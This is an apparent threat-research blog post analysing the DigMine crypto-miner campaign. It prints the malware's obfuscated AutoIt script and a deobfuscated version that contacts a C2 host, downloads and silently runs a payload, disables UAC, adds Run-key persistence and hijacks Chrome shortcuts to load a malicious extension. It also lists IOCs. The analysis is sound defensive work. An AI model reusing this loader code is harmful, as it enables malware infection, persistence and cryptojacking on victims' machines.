DigMine, not a new Digimon adventure

DigMine, not a new Digimon adventure

waster

Hey Facebook and Twitter users! We have a new surprise for you all! We gonna come back to a crypto-miner campaign which occurred during the end of April 2019 and ran for the full month of June.

This campaign has principally targeted the Philippines and Vietnam. At peak hours, the number of online infected machines was over 15k, but besides this small size, the level of sophistication of this malware was definitely interesting to highlight.

Abstract

This malware dubbed as ‘DigMine’ is not something new, TrendMicro first saw it at the end of 2017 several others security firms, mostly in Vietnam, also observed and followed fews campaigns. And the ACSS did too publish a notice about DigMine.

This malware has been in the wild for almost 2 years now, and from time to time a new campaign is launched like the one we are discussing here. Like in previous campaigns, DigMine is spreading via the social media network Facebook by inviting a user to download a malicious attachment.

The user can face DigMine in two ways:

aaaaa

Above is an example of a hostile archive file being spread on a Facebook group, 20 mins after the first publication, 12 new attachments were posted by different people who joined the same group.

The malicious attachment is a .BZ archive named ‘video_XXXXX.bz’ where X are random digits. This archive contains an executable file named ‘play_XXXXXXXX.mp4.com’ where X are also random numbers. This file is coded in AutoIt, which once executed it will download additional components: a malicious extension for Google Chrome (responsible for spreading DigMine on social media) and a modification of XMRig, a popular open source miner to mine monero cryptocurrency.

Let’s dig into DigMine!

Malware Analysis

Static analysis

xx
CompilerCompiler: Microsoft Visual C ++,AutoIt3_v2007+
Md5sum614CC035FE2706039F7A3916DA26906C
Size926.50 KB
DateThu Mar 15 14:14:39 2018
MD5 Password hash:7FB5A6AB0CEE422175922DFEE7701D4A

init0

The autoit script was found to be strongly obfuscated. The script used recursive calls to obfuscate the final result of the functions. These functions were used to decode all the strings that the script was using on its normal operation. Also the names of these functions and the system calls were changed as part of the obfuscation process to avoid to be easily recognised.

For example, the code below was part of the sample analysed using the obfuscated variable names, functions and strings to make it harder to reverse engineer :

FUNC RVPXQLAJKE()
GLOBAL $YCWNQBR=CWOBNUHCIIE(WOLHQ(""&$OUXWGELHRGIU&""&$EOCTVVV[138]))
$YCWNQBR(ODACGP(""&$EOCTVVV[189]&$WXZOIJEF&""&$EOCTVVV[190]&"c"&""&HKSWCCPRWQLF()&""&$EOCTVVV[191]&QTJJHKCWXC()&OTRPNJBHHKC()&$EOCTVVV[192]&""&ASFNJML()&""&HGBWLUYBXO()&""&$QWLHZWPW&$EOCTVVV[193]&""&YFILFF()&""&$TRWVKDTQIVPU&""&EAHELMICVYNV()&"."&$XEVMWGNCPKV&""&JQAZMRDPILOP()&$EOCTVVV[194]&ZHYTNEFE()&"7Uv"&$EOCTVVV[195]&""&$EOCTVVV[196]&"7"&""&$VTDTSWFRQ&""&$DFQOUG&$EOCTVVV[197]&MYDIYUWOT()&$PDNRR&""&"7UvB"),TTVTVYBPTA(""&$XJBOPI&""&"U>(7"&""&$EOCTVVV[198]&""&QQUUIZCSUQX()&$EOCTVVV[199]&""&$EOCTVVV[200]&""&$EOCTVVV[201]),QIXJGYPSJIMH(""&$EOCTVVV[143]&$CHTGOV&""&$EOCTVVV[144]&"+"),YXQDHJMVIONP("3"&""&ERDYBAC()&""&$EOCTVVV[203]))
$YCWNQBR(IVVHXHXDBJQM(CVOEGKHVDJ()&""&"VA"&""&$BSVTGFVXVUJS&AMASWOE()&""&CJTNQQKYFW()&""&$VVVHGXXKCCSH&""&$UIBXODDQQMGY&$TRVLC&""&$PCPFKRYLH&""&$EOCTVVV[204]&""&MJWTXNNKB()&$EOCTVVV[205]&"r#"&""&$EOCTVVV[206]&UAVTLYJGU()&""&$OJAJYNLLE&FDDNC()&""&$EOCTVVV[207]&""&BSMJVFE()&""&$EOCTVVV[208]&"U"&""&DYKVO()&""&$XBIABJZA&""&$APBDIESRQY&"U0"&$EOCTVVV[209]&$EOCTVVV[210]&GNVXCFLPMG()&$EOCTVVV[211]&CPEHD()&IOBGXYMRY()&""&$EOCTVVV[212]&$FMTPDYBY&YURIQX()),TTVTVYBPTA(""&$XJBOPI&""&"U>(7"&""&$EOCTVVV[198]&""&QQUUIZCSUQX()&$EOCTVVV[199]&""&$EOCTVVV[200]&""&$EOCTVVV[201]),QIXJGYPSJIMH(""&$EOCTVVV[143]&$CHTGOV&""&$EOCTVVV[144]&"+"),YXQDHJMVIONP("3"&""&ERDYBAC()&""&$EOCTVVV[203]))
$YCWNQBR(APDLAXURFE("Jj"&$JLPGTDZZRI&XZETIB()&""&OYPYWF()&$EOCTVVV[217]&""&"U"&""&$EOCTVVV[218]&""&OVAOZMKT()&""&"r"&""&$EOCTVVV[219]&""&$EOCTVVV[220]&$PZTBF&TQJKZAW()&""&"v"&""&$EOCTVVV[221]&""&"BVP"&MABUKN()&""&$PXTDDAGQW&$JZECPRYL&""&$NMHNAWNGV&$IUGGJZ&"ID"&""&ZJQGJE()&""&$EOCTVVV[222]&""&$EOCTVVV[223]&$EOCTVVV[224]&""&"V "&$EOCTVVV[225]&$EOCTVVV[226]&""&"7["&$GBZZOZJDX&RSYIQL()&$EOCTVVV[227]&"VA5"&""&$CMCTOCPJHCJ&"#D"&""&HZLBQDUOKMDD()),AUBRG(""&$VCZPQAVXX&""&$EOCTVVV[228]&""&XINGZF()&"q"&""&$RMZKM&""&"Q"),TCAQY(""&"("&""&$FQDFZP&$OZFISFG&""&$EOCTVVV[229]&""&$HKJLTXZKR&""&$QGBMBH),0/181)
$YCWNQBR(URWRJWEGKHFP(CCHHARY()&""&$EOCTVVV[230]&""&"V"&""&$CFAVC&""&$TYYKOVZIPSXR&""&TSMXRWEFNU()&""&$EOCTVVV[231]&$VKJGWPXN&""&$EOCTVVV[232]&"U>"&$YINOLEXNH&LQHUPSISLG()&""&$GGCTYZLZSS&""&$EOCTVVV[233]&$ZWGCKGHO&XYUZM()&""&"D"&"CB7"&""&$EOCTVVV[234]&$LXSWVM&""&$EOCTVVV[235]),IFFNOZRNC(",UU"&""&$PGUNYACKTS&""&"D<"&"t"&""&"i"&""&$BJQTXTZK&"c"&""&$TCUTKMXHC),QIXJGYPSJIMH(""&$EOCTVVV[143]&$CHTGOV&""&$EOCTVVV[144]&"+"),$XBOBI&HFZLETU(""&$EOCTVVV[148])&IHTYLQFKUMW("cii"&$EOCTVVV[173]&$EOCTVVV[174]&""&$EOCTVVV[175]))
EVEOM()
ENDFUNC

This function, after a manual analysis, was found to be like this:

FUNC RVPXQLAJKE()
  GLOBAL $RegWrite_=EXECUTE(RegWrite)
  $RegWrite_("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations","LowRiskFileTypes","REG_SZ",".exe")
  $RegWrite_("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations","LowRiskFileType","REG_SZ",".exe")
  $RegWrite_("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA","REG_DWORD",0)
  $RegWrite_("HKLM\Software\Microsoft\Windows\CurrentVersion\Run","Google Updater","REG_SZ",$TargetPath_&"\app.exe")
  ShellExecuteComand()
ENDFUNC

After having a readable Autoit script we got the real entry point of the second stage so we started to analyse the sample.

Analysis

As we said in the introduction, the sample tried to make the reverse engineering harder by introducing multiple types of obfuscation and stages. We found that the application was split into several pieces. One of these functions were checking if the application name was between a set of names:

After checking the names, if the file name was not among the valid options, the sample will finish its execution:

$ValidNames_=$StringSplit_("updater|video|play|app","|")

FUNC ItsValidAppName()
  $isvalid=FALSE
  FOR $I=1 TO $ValidNames_[0]
  $appnameisvalid=$StringInStr_($StringLower_($ScriptName_),$ValidNames_[$I])
  IF $appnameisvalid<>0 THEN
    $isvalid=TRUE
    EXITLOOP
  ENDIF
  NEXT
  IF $isvalid=FALSE THEN
    EXIT
  ELSE
    GLOBAL $GetActiveWinGetTitle_=$WinGetTitle_("[ACTIVE]")
    IF $GetActiveWinGetTitle_="" THEN
      $GetActiveWinGetTitle_="Empty"
    ENDIF
    SearchPID()
  ENDIF
ENDFUNC

After passing the first check, the sample will verify it is the only script process running, or exit otherwise. To accomplish this, the sample will get a list of all processes running with the DigMine script’s name ($ScriptName_) and exit as soon as a PID other than the current sample proccess ($PID_AutoItPID_) is found.

FUNC SearchPID()
  $processlist=$ProcessList_($ScriptName_)
  FOR $i=1 TO $processlist[0][0]
    IF $processlist[$i][0+1]<>$PID_AutoItPID_ THEN EXIT
  NEXT
PingGoogle()
ENDFUNC

If everything was correct, the sample pings Google to check if it is capable of reaching the Internet, doing this every 500 ms in an infinite loop.

FUNC PingGoogle()
  $KAGXB=0/194
  WHILE $KAGXB=0/138
    $KAGXB=$Ping_("www.google.com")
    $Sleep_(500)
  WEND
  IsZipInstaller()
ENDFUNC

Once the sample passes the connectivity test, it will check if the infected host has the right tools and bindings to handle zip files. As in this second stage, the malicious payload is in a zip format. This is done by checking a couple of registry keys:

If the host can not unzip the content, the sample will try to connect to an external resource to download a version of the 7zip tool. Also the sample checks if there are any process with the names below, finishing its execution when one of them is found on the process list:

FUNC IsZipInstaller()
  $No_=$RegRead_(HKCU\Software\Unzip, Installed)
  $No_=$RegRead_(HKCU\Software\Unzip, Trust)
  IF $No_=Yes THEN
    C2C_Connect()
  ELSE
  $No_=No
    CheckExit_()
  ENDIF
ENDFUNC

FUNC CheckExit_()
  FOR $I=1 TO 3
    $JSGPQGDHVALU=$StringInStr_($GetActiveWinGetTitle_,$Start_cmd_ProgManager[$I])
  IF $JSGPQGDHVALU<> 0 THEN
    EXIT
  ENDIF
  NEXT
  C2C_Connect()
ENDFUNC

FUNC C2C_Connect()
  GLOBAL $CPUArch_=EXECUTE(@CPUArch)
  GLOBAL $winHttClass=EXECUTE($winhttpClass_)
  EXECUTE($winHttClass.Open('HEAD', 'http://gaga.icu/app/login.php'), False))
  EXECUTE($winHttClass.setRequestHeader('User-Agent','Unzip'))
  EXECUTE($winHttClass.setRequestHeader('Window',$RTktvSLufk))
  EXECUTE($winHttClass.setRequestHeader('ScriptName',@ScriptName))
  EXECUTE($Os_version_setHeader)
  EXECUTE($CPU_version_setHeader)
  EXECUTE($winHttClass.setRequestHeader('Installed',$No_))
  IF $No_<>No THEN
    EXECUTE( $winHttClass.setRequestHeader('Trust',$LPSaS))
  ENDIF
  EXECUTE($winHttClass.Send())
  $$status_=EXECUTE($winHttClass.Status)
  IF $$status_<>200 THEN EXIT
  GLOBAL $Unzip=EXECUTE($nBCIF.GetResponseHeader('unzip'))
  GLOBAL $zip_=EXECUTE($nBCIF.GetResponseHeader('zip'))
  UpdateRegZip()
ENDFUNC

FUNC UpdateRegZip()
  GLOBAL $RegWrite_=EXECUTE(RegWrite)
  $RegWrite_(HKCU\Software\Unzip,Installed,Installed,Yes)
  GetPathInstall()
ENDFUNC

At this point, the malware is ready to install the third stage. First, it will try to create the folder XXXXX¿?¿?¿?¿?. Next, it will download the zip file, extract its content and execute the malicious payload:

FUNC GetPathInstall()
  GLOBAL $UserName_=EXECUTE(@UserName)
  GLOBAL $AppDataDir_=EXECUTE($AppDataDir)
  GLOBAL $TargetPath_=$AppDataDir_&\$UserName_
  GLOBAL $DirCreate_=EXECUTE(DirCreate)
  $DirCreate_($TargetPath_)
  RunDownload()
ENDFUNC

FUNC RunDownload()
  GLOBAL $FileExists_=EXECUTE(FileExists)
  GLOBAL $InetGet_=EXECUTE(InetGet)
  IF NOT $FileExists_($TargetPath_&\7za.exe)THEN
    $InetGet_($Unzip,$TargetPath_&\7za.exe,1,0)
  ENDIF
    $InetGet_($zip_,$TargetPath_&\files.7z,1,0)
  Execute7zip()
ENDFUNC

FUNC Execute7zip()
  GLOBAL $SW_HIDE_=EXECUTE(@SW_HIDE)
  GLOBAL $RunWait=EXECUTE(RunWait)
  $RunWait($TargetPath_&\7za.exe e files.7z -aoa -pKEQZmgbrmDnTpa2b4DHVMX,$TargetPath_,$SW_HIDE_)
  ExecuteMlwAPP()
ENDFUNC

FUNC ExecuteMlwAPP()
  GLOBAL $ScriptFullPath_=EXECUTE(@ScriptFullPath)
  GLOBAL $FileCopy=EXECUTE(FileCopy)
  $FileCopy($ScriptFullPath_,$TargetPath_&\app.exe,537/537)
  CloseChrome()
ENDFUNC

Once the malware was installed, it will try to registry a malicious Chrome extension. To install the extension the sample kills every single Chrome process as shown below:

FUNC CloseChrome()
  GLOBAL $ProcessWaitClose_=EXECUTE($ProcessWaitClose)
  GLOBAL $ProcessClose_=EXECUTE(ProcessClose)
  GLOBAL $WinClose_=EXECUTE(WinClose)
  GLOBAL $WinGetHandle_=EXECUTE(WinGetHandle)
  $TICPAB=[REGEXPTITLE:(?i)(.*Chrome.*)]
  WHILE $WinGetHandle_($TICPAB)
    $WinClose_($TICPAB)
  WEND
  $ProcessClose_(chrome.exe)
  $ProcessWaitClose_(chrome.exe)
  InstallRegisterRun()
ENDFUNC

FUNC InstallRegisterRun()
  GLOBAL $RegWrite_=EXECUTE(RegWrite)
  $RegWrite_("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations","LowRiskFileTypes","REG_SZ",".exe")
  $RegWrite_("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations","LowRiskFileType","REG_SZ",".exe")
  $RegWrite_("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System","EnableLUA","REG_DWORD",0)
  $RegWrite_("HKLM\Software\Microsoft\Windows\CurrentVersion\Run","Google Updater","REG_SZ",$TargetPath_&"\app.exe")
  ShellExecuteComand()
ENDFUNC

FUNC ShellExecuteComand()
  GLOBAL $SW_MAXIMIZE=EXECUTE($SW_MAXIMIZE)
  GLOBAL $ShellExecute_=EXECUTE("ShellExecute")
  $ShellExecute_(chrome.exe, --enable-automation --restore-last-session --disable-infobars --load-extension=&$TargetPath_,"","",$SW_MAXIMIZE)
  InstallHook()
  RunApp()
ENDFUNC

After finishing the registration process of the extension, the sample changes all the direct access to Google Chrome in order to load the new extension when the process is launched:

FUNC InstallHook()
  GLOBAL [email protected]_=EXECUTE("@AppDataCommonDir")
  GLOBAL [email protected]_=EXECUTE("@ProgramsCommonDir")
  GLOBAL [email protected]_=EXECUTE("@DesktopCommonDir")
  GLOBAL [email protected]_=EXECUTE("@DesktopDir")
  LOCAL $EGEIAUJNVUO[5]=[$AppDataDir_&"\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar",[email protected]_,[email protected]_&"\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar",[email protected]_,[email protected]_]
  FOR $i=0 TO 4
    SearchAndRemplaceShortcut($EGEIAUJNVUO[$i])
  NEXT
ENDFUNC

FUNC SearchAndRemplaceShortcut($Paht)
  LOCAL $Paht_link=FindAllFilesReg($Paht,"*.lnk")
  IF @ERROR=0/691 THEN
    $KVOZLDMV=UBOUND($Paht_link,0)
    $KVOZLDMV=$KVOZLDMV-(1)
    FOR $i=0 TO $KVOZLDMV
      SearchAndCreateHook($Paht&"\"&$Paht_link[$i])
    NEXT
  ENDIF
ENDFUNC

FUNC SearchAndCreateHook($File)
  GLOBAL $FileGetShortcut_=EXECUTE("FileGetShortcut")
  $FileShortcut=$FileGetShortcut_($File)
  IF NOT @ERROR THEN
    $SplitAndFindResult=SplitAndFind($FileShortcut[0],"","","","")
    IF $SplitAndFindResult[3]="chrome"THEN
      CreateHook($FileShortcut,$File)
    ENDIF
  ENDIF
ENDFUNC

FUNC CreateHook($FileShortcut,$File)
  GLOBAL $FileCreateShortcut=EXECUTE("FileCreateShortcut")
  $FileCreateShortcut($FileShortcut[0],$File,$FileShortcut[1],"--enable-automation --disable-infobars --load-extension="&$TargetPath_)
ENDFUNC

Now that the extension is ready, the sample starts the crypto miner process. The file name would be update-x64 or update-x86 depending on the architecture in which it is running (64bits or 32bits). The sample also will check that the miner is not already running on the system.

FUNC RunApp()
  GLOBAL $Run_=EXECUTE("Run")
  GLOBAL $ProcessExists_=EXECUTE("ProcessExists")
  IF EXECUTE(@CPUArch)THEN
    $InstallerNameMlw="update-x64.exe"
  ELSE
    $InstallerNameMlw="update-x86.exe"
  ENDIF
  
  WHILE YEDGGMJQF()
    IF $FileExists_($TargetPath_&"\"&$InstallerNameMlw)THEN
      IF NOT $ProcessExists_($InstallerNameMlw)THEN
        $Run_($TargetPath_&"/"&$InstallerNameMlw,$TargetPath_,$SW_HIDE_)
      ENDIF
    ENDIF
  $Sleep_(5000)
  WEND
ENDFUNC

FUNC FindAllFilesReg($ParamFile,$FilterSearch="*",$XEGWB=0,$AEZPYFNSP=FALSE )
  GLOBAL $FileClose_=EXECUTE("FileClose")
  GLOBAL $SetError_=EXECUTE("SetError")
  GLOBAL $FileFindFirstFile_=EXECUTE("FileFindFirstFile")
  GLOBAL $StringTrimLeft_=EXECUTE("StringTrimLeft")
  GLOBAL $FileFindNextFile_=EXECUTE("FileFindNextFile")
  GLOBAL $StringRegExpReplace_=EXECUTE("StringRegExpReplace")
  GLOBAL $StringRegExp_=EXECUTE("StringRegExp")
  LOCAL $ARWXHBFTJCFQ="|",$FileResultArray="",$FileFindNextFileResult="",$ParamFile2=""
  
  $ParamFile=$StringRegExpReplace_($ParamFile,"[\\/]+$","")&"\")
  
  IF $XEGWB=DEFAULT THEN $XEGWB=0
  IF $AEZPYFNSP THEN $ParamFile2=$ParamFile
  IF $FilterSearch=DEFAULT THEN $FilterSearch="*"

  IF NOT $FileExists_($ParamFile)THEN RETURN $SetError_(1,0,0)
  IF $StringRegExp_($FilterSearch,"[\\/:><\|]|(?s)^\s*$")THEN RETURN $SetError_(2,0,0)
  IF NOT ($XEGWB=0 OR $XEGWB=1 OR $XEGWB=2)THEN RETURN $SetError_(3,0,0)
  
  LOCAL $FileFindFirstFileResult=$FileFindFirstFile_($ParamFile&$FilterSearch)
  IF @ERROR THEN RETURN $SetError_(4,0,0)
  
  WHILE 0+1
    $FileFindNextFileResult=$FileFindNextFile_($FileFindFirstFileResult)
    IF @ERROR THEN EXITLOOP
    IF ([email protected]=0+2)THEN CONTINUELOOP
      $FileResultArray&="|"&$ParamFile2&$FileFindNextFileResult
  WEND
  $FileClose_($FileFindFirstFileResult)

  IF $FileResultArray="" THEN RETURN $SetError_(4,0,0)

  RETURN $StringSplit_($StringTrimLeft_($FileResultArray,1),"|")
ENDFUNC

FUNC SplitAndFind($ParamFile,BYREF $BVYYIE,BYREF $AEPROSJNE,BYREF $FileFindNextFileResult,BYREF $QMFGSQ)

  GLOBAL $StringLeft_=EXECUTE("StringLeft")
  LOCAL $ArrayFilesEncountred=$StringRegExp_($ParamFile,"^\h*((?:\\\\\?\\)*(\\\\[^\?\/\\]+|[A-Za-z]:)?(.*[\/\\]\h*)?((?:[^\.\/\\]|(?(?=\.[^\/\\]*\.)\.))*)?([^\/\\]*))$",1)
  
  IF @ERROR THEN
  REDIM $ArrayFilesEncountred[5]
    $ArrayFilesEncountred[0]=$ParamFile
  ENDIF

  $BVYYIE=$ArrayFilesEncountred[1]

  IF $StringLeft_($ArrayFilesEncountred[2],1)=="/" THEN
    $AEPROSJNE=$StringRegExpReplace_($ArrayFilesEncountred[2],"\h*[\/\\]+\h*","\/")
  ELSE
    $AEPROSJNE=$StringRegExpReplace_($ArrayFilesEncountred[1+1],"\h*[\/\\]+\h*","\/")
  ENDIF

  $ArrayFilesEncountred[2]=$AEPROSJNE
  $FileFindNextFileResult=$ArrayFilesEncountred[2+1]
  $QMFGSQ=$ArrayFilesEncountred[4]
  RETURN $ArrayFilesEncountred
ENDFUNC

This function is responsible for performing the decoding of the strings of the program itself.

FUNC Decode($StringsEncode)
  $XPQOOZ=""&$YCLACZVNNZOG&""&$EOCTVVV[14]&""&$EOCTVVV[15]&SINAWC()&""&OCNSJHHOSQDJ()&""&$RXWZPEFILS&""&$EOCTVVV[16]&""&")5"&""&"9T1"&$RHKIHDGDGX&$EOCTVVV[17]&""&"?"&DZUPOGTUXR()&""&"z"&"g"&""&$EOCTVVV[18]&APLNXHRQ()&QGCNCO()&"V"&""&WTVOGTOPP()&""&DYVWO()&""&"A"&$EOCTVVV[19]&$MDKPXUPBB&""&$HYUREKFOJMC&TTRYCRQATMI()&""&IJWSLDK()&"O,"&""&QAIAIHGKNDGE()&""&$EOCTVVV[20]&""&LPCFGTKYZ()&"[s"&""&DHSHVQA()&$EOCTVVV[21]&$NGGTGGHDS&""&AWPVA()&""&XLFJWIPWQ()&$LDPPIVQWSY&$EOCTVVV[22]&""&UODPJ()&""&$AZMXZSFSDOF&$ERPDDZ&"3"&""&$EOCTVVV[23]&"q"&"x+"&""&VVJJK()&""&$EOCTVVV[24]&""&"K"&"X"&LMQDRXKP()&""&$ZWPAL&""&$EOCTVVV[25]&""&"4l"&""&"'de"&$PCQNAJCZJEH&"Wr"&ZDPDXWCHDQCY()&"("&""&"Q"&""&"BcZ"&""&"t"&$SNAQZVBS&$EOCTVVV[26]
  $BHKIWWOS="?"&"C$"&""&$GUNSUGIERG&","&PIRKSC()&""&"P_"&""&$EOCTVVV[27]&""&"y"&""&$EOCTVVV[28]&""&"B"&""&GCRZASZDFFK()&""&JVIBR()&"V"&""&$GOXJHDJA&""&$APDHXSEK&"Y"&""&$QQSGQXFEU&""&$EOCTVVV[29]&""&$EOCTVVV[30]&"i"&""&AIFCEBFQNBN()&""&QMYDLQKZ()&""&$BJJCHEX&""&$EOCTVVV[31]&""&"2"&DTCEPUG()&""&OGAZDBVLUBDA()&"- "&""&$VHTHREY&GRZTOZ()&""&$DGCBFXKIW&""&"r"&RGQHXQMWJHQQ()&$ZGONE&$GYCMSIUDXY&"="&""&BNHMDS()&""&$EOCTVVV[32]&$HJWJLY&"LxZ"&"g"&""&$PZRIQGFNU&LCBVCBYCJ()&$EOCTVVV[33]&""&$ICLHHWJR&$MMSENNUOOPCW&MOMMMDJYN()&""&$EOCTVVV[34]&$VLTTTNNGDI&""&HQYBXOGLYSFN()&$EOCTVVV[35]&$EOCTVVV[36]&""&$EOCTVVV[37]&""&"R"&"A"&"sa1Uo"&$OBMPNNHQ
  LOCAL $StringInStr_=EXECUTE("StringInStr")
  LOCAL $StringMid_=EXECUTE("StringMid")
  LOCAL $StringLen_=EXECUTE("StringLen")
  $HFCNRSXTLZ=""
  
  LOCAL $RVWLPW[5]
  $RVWLPW[0]="swtsnAHmOVJXAkjqy"
  $RVWLPW[1]="RonhCluOBYNwPHrxDluUDBjgvv"
  $RVWLPW[2]="dcVLrdWjeQwnfqWGXcQZKDPoOjxdMBPn"
  $RVWLPW[3]=TRUE
  $RVWLPW[4]="sgEZakFLKLQqrdMmfEntnxfyZuKgIoQWh"
  
  FOR $YLXGAWB=0 TO $StringLen_($StringsEncode)
    $CPOHWQJM=$StringMid_($StringsEncode,$YLXGAWB,0+1)
    DIM $RPWWF=TRUE
    $OVZRG=$StringInStr_($XPQOOZ,$CPOHWQJM,1)
    LOCAL $GIFAPD="cqrsICssOABPaZBTeeKyQcrCIzSDKXpB"
    $BCPAXFNSGC=$StringMid_($BHKIWWOS,$OVZRG,1)
    DIM $VSITDAJY="DMNoRyrqTwhpBDi"
    $HFCNRSXTLZ&=$BCPAXFNSGC
    GLOBAL $KYWNPWDW[2]
    $KYWNPWDW[0]=FALSE
    $KYWNPWDW[1]="jqJvZQYlAwgUQAGmBd"
  NEXT
  DIM $URBHQ=4989005769
  RETURN $HFCNRSXTLZ
ENDFUNC

Infra

On normal navigation in the C2, the site display a URL shortener service, as you can see this is not here to furnish the site, this service is used also to shorten URLs in malware configurations.

During the campaign things we saw evolved, we did few moves and the actor did few moves too.

On the C2 of the new campaign we had found some of the olds malware landings from previous campaigns, and we also found a way to exploit their latest ‘facebook.js’ to get easily the latest fresh samples. Few days after we shared this information on the public community of kernelmode.info, the actor probably read it too and made changes accordingly: old landings were removed from the server and ‘facebook.js’ got a code update to prevent intentional malware downloads from security researchers. The actor reacted to our post but also added a new feature, in addition of ‘facebook.js’ a new file also appeared in malware configs: ‘twitter.js’. Spreading, you guessed it… now on Twitter.

twitterjs

For the Twitter spreading, each malicious tweet lead on a different landing, everything is hosted on Google cloud.These malicious tweets resemble to an embedded video with the hashtags of the moment to lure users to click it.

Inside the botnet

As usual we have several problems to see what is inside the C&C, but finally, you can always check other ways to see what’s happening inside.

waster

Botnet live logs (May 01):

Clicking on the action button on the left shows the report of the call, this allows them to have a lot of information about the IP calling. They have a menu ‘virustotal’ also on the top left which allow to monitor if their latest crypto miner landed on VT.

Turkey is a country banned from the botnet:

They look for a lot of things and ban also by checking if your browser Accept Language is TR:

This one is a new ‘infected’ host which got banned due to its http_via (proxy):

Twitter spreading in live (May 01):

Workers at peak hours, 15k online (May 02):

Test log from Turkey, Facebook related:

Payment graph, starting from 23 April to May 30:

Actor wallet on supportxmr, with the botnet node (May 30):

Cosmetic update of the panel (June 6):

And also ‘end of campaign’ with only 2k workers online, crypto miner not refreshed anymore and Twitter spreader also stopped.

About the actors

Actor is believed to be Turkish, several others analysis pointed out the same things, as he left several artifacts like an email address and a modification of XMRig on GitHub related with DigMine.

After observing the campaign we agree to these facts as we found multiple things pointing in the same direction:

IOC’s

Sample analysed on this article:

AutoIt downloaders:

a83ec3fdd4482a42478f15207310c7980333e9b011f6f0cdfdf4b0f488a599a3
1c4104ca158e5e0bb8b54fa73d42bac1529c599d989eee6e0b1e6d40fa56031c
7b762687c311c32fceb61a21a710c009da8fc96ecfc06a350229d74be03d86c3
ff8655a156f9a4080430373a158bc25c0400e3dbad66a74a66efe6f740440187
794f7043ad1dc97d67086604709972c176b7463ab6f0c6f0b2ef19b32b2f37a1
4e5577e4b3c89c78c406e9c1d78928a4ddeb0384510654c0f4eb9a10d7b05af5
1da62dcb6ad6803be90b1e8f08c408e898d96dedab3d4a0ee13bbd5fea9df5fb
d1a415751184f146909f7f48e1f755ecf908d5e7ebb55e4d39543b171f2b5024
d9a74e517edc4b0baf75ec17abe5d2c8ea0a8365193c44506acfc6559f95d67b
0829a10537bedc5624c36422d4ff8668e51b844df79340013d43a0103608524f
5d261f99873fcd33629aaabc0ce1e48492c039c5dd224d4cb3ceb9f4945de81f
381ec2f1c6bfa5789fc62f3cd415952cc7606e1add78f32ee9897cdd7678eab2
9b50a1dcc722da1249cb20364d8d5d7fe7015bc9b81f27daa918e5b4e8d312e2
acc9fe741232958fd8cec47db0fa62353edd2be02156a8243e3c4bdf14dd0af2
b87e7b4d24e38478d8b3aff3e707e19d57037e3ddf9550d695d6a504376a3909
6e553b77877c01380a6fe309cc1c680d4b1aba95b1383ad051e8dc3df9a5b909
1c8fbfbaecd91b15fd33eae1d47d15076eb90e380a98da657674173aa8a8f9c9
4c24f7ab271dbb4ae72a49631d47f1aafef87bf9d71190448baa39bbbad7e719
d5a512ed8caa2e91f61c23f9139804301f423d6ca913653cc86c7ba658a220c3
edc37b1d4378036506544c97b974a6020e901b2a67cca303ddaa61420b60f58a
3c489da8d8fd45db8da606a139f16417b74a6d5eb0e1b3aa4e96ee21d381fc46
fe0a0478d7c6b2597762a792d4696bce811ccc59d58a82071b48cbc37ccc1857
61758f0b1b55ef72fd6903bb49a8fbe3dcbcd8d2fb88c7b36d288d7a47371ad1
1e0ee7aa6d80204e20e1547a69d450cc9050936f50ced7b0afa29a5c5d95963c
1ff3b1ec56047a0dfe9ab29243f41fc8829db371f87527eeb8b819c8b0dfb926
b8a46a8659a3e6a48a8b283d0350cf1a47d219b9d088bbb4465373a75f63679b
95e08a894a8b3372077877d76365ea7046a1e6c6048d8ed675528a78e7d7382e

Facebook.js:

16fb1761df19aa27b12087b46e8093225cd48f45ab85699154f50b8f3df3a9f8 (first version, with open download)
a424c142c32d8ec4d3b74aaca1c9818f1298592d150f4b1ef8c144199b1246ce (modification against researchers, download now done with token)
a0d19d820ca54ca86531ebe1dfd1e5ba6e414c788fd4bea26092ffee13fb8134 (third version)

Twitter.js:

6fe4d15f5996b5a9b2429d8d25e792cd91566effc73183dd00a192ebac5204c0

Test samples:

0bbe48aca7dfb0bb2d95e6f5e4c16562c674087552b5a16f3c8af4eb25aa6f12
574ee5f6f38fe5b63eeb0d9bd8a7934027abf2a7b7000f79fba70e4526d94f17

Hostile google cloud landing list:

Pastebin Mirror

Wallet:

88Vx1Dfhhq5deFPERViXYT2tupLimw5q68N1KZfEiqPo8uAMzp6QRWB1eBiRnKxLWygLEYWNQjA2RYhpzcmV2xNVQVtGQsD

And finally an interesting graph we made using Virustotal, linking previous campaign.

Conclusions

waster

So far there is not much more to say, this has been a peculiar threat. The prevalence of this type of threats is growing and is something that will continue to grow for a long time. The purpose of being able to mine a “free” crypto currency … in somebody else’s computer is a very tempting offer and surely in the medium term it allows to make lots of profit.

See you on our next adventure….

The Malware Hunter

Back